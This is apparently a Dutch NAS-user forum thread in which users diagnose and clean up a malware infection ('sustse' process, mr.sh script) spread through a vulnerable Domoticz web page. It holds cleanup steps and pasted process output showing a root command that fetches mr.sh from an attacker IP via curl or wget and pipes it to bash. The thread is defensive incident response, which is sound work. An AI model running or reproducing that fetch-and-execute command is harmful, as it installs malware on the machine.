Process 'sustse' gebruikt volledige processor

[Birdy]

DSM kan niet zonder root.
Je kunt wel een sterk wachtwoord instellen voor admin (het ww van root is namelijk die va admin)
Je kunt ook een nieuwe gebruiker maken met admin rechten en die ook een ster ww geven.
Als dat is gedaan, dan kan je admin uitschakelen.

[mc_]

Hmm, verkeerde vraag, zie edit.

Heb inderdaad admin uitgeschakeld, eerste actie bij inrichten van DSM :-)

[Birdy]

Beetje gegoogled maar, volgens mij kan Domoticz niet zonder root.

[Henk Havelaar]

Sinds gisteren heb ik hier ook last van, geen idee hoe het erop is gekomen. Alleen heb ik geen idee hoe ik die bestanden kan zien of verwijderen, is het process te "killen" met de DSM programma's of heb je daar Linux kennis voor nodig?
Wat is het IP adres van 'oanacroner1? dan kan ik dat in ieder geval blokkeren in de firewall.

[Briolet]

In elk geval is dit hetzelfde probleem als hier gemeld wordt.

In beide topics zit het commando om een executable file op te halen "107.174.47.156/mr.sh".

Beter om in één topic verder te gaan. Nu al 3 meldingen in 24 uur op dit forum. Ook elders zijn de meldingen steeds heel recent.

[Briolet]

Toch niet zo recent. Er worden blijkbaar meerdere Amerikaanse IP adressen gebruikt uit een blok van een kwart miljoen adressen.

Als ik op zo'n IP google vind ik b.v. al 4 meldingen van ca 2 maand geleden op een site waar misbruik gemeld wordt:



Hoewel er niet vanaf dat IP gehacked is. De hack (of zelf gestarte, besmette software) is eerder binnengekomen en haalt op dat adres een script op voor verdere infectie.

[Birdy]

Beter om in één topic verder te gaan. Nu al 3 meldingen in 24 uur op dit forum. Ook elders zijn de meldingen steeds heel recent.

De 2 Topics samen gevoegd.

[mbomhof]

Ook in bestand /etc/cron.d/apache trof ik soortgelijke regel aan.

Ik heb de bestanden in /etc/cron.d/ leeg gemaakt;
Ik heb het bestand in /etc/cron.hourly/ verwijderd;
Ik heb het bestand /var/tmp/wc.conf verwijderd;
Ik heb het bestand /var/tmp/sustse verwijderd;
Ik heb ip adres 107.174.47.156 in mijn firewall geblokkeerd;
Ik heb alle actieve processen die mr.sh bevatten gekilled (ps aux | grep mr.sh).

Ik draai inderdaad ook Domoticz en deze heb ik direct bijgewerkt naar de meest recente versies.

Ik zie momenteel geen processen meer gestart worden en ik zie geen bestanden meer terug komen.
Fingers crossed!

Dank voor alle reacties zo ver!

[mbomhof]

Correctie, er worden nog wel sessies gestart...

root     14912  0.0  0.1   9604  1204 ?        Ss   11:00   0:00 /bin/sh -c (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
root     14914  0.0  0.0   9608   652 ?        S    11:00   0:00 /bin/sh -c (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
root     14916  0.0  0.5  85936  5468 ?        S    11:00   0:00 curl -s http://107.174.47.156/mr.sh
root     17968  0.0  0.1  23132   964 pts/6    S+   11:01   0:00 grep --color=auto mr.sh

(maar al wel een stuk minder).

[Henk Havelaar]

@mbomhof, ik hoop dat het gaat lukken, ik draai ook DomoticZ op de NAS. Als het gelukt is om deze troep te stoppen kan je me dan vertellen wat ik moet doen? Ik ben een Linux leek.

[eaz]

ook meldingen op domoticz forum:

https://www.domoticz.com/forum/viewtopic.php?f=6&t=28329&sid=aa8def5554c1013476538ee56924114d

edit: sorry, ik zie net dat dit al gepost was, door de merge erbij gekomen:-)

[Briolet]

Bovenstaande link bevat een bevestiging dat de besmetting via een webpagina van domoticz verloopt die men via het internet toegankelijk gemaakt heeft.. CVE-2019-10664. Maar ook dat deze kwetsbaarheid in de nieuwste versies verholpen is.

[mc_]

Met welk commando kan ik zien welke sessies worden opgestart? Wil graag nog even checken.

Complimenten overigens voor alle snelle reacties, mooi te zien hoe dit probleem aangepakt wordt door de community! 

[mbomhof]

Met dit commando krijg je een lijst met alle processen die 'mr.sh' bevatten:

ps aux | grep mr.sh

[Briolet]

Hier nog een analyse van deze malware van september vorig jaar. (securityaffairs.co)

Geen oplossing voor het verwijderen, maar het geeft wel een idee wat mr.sh doet.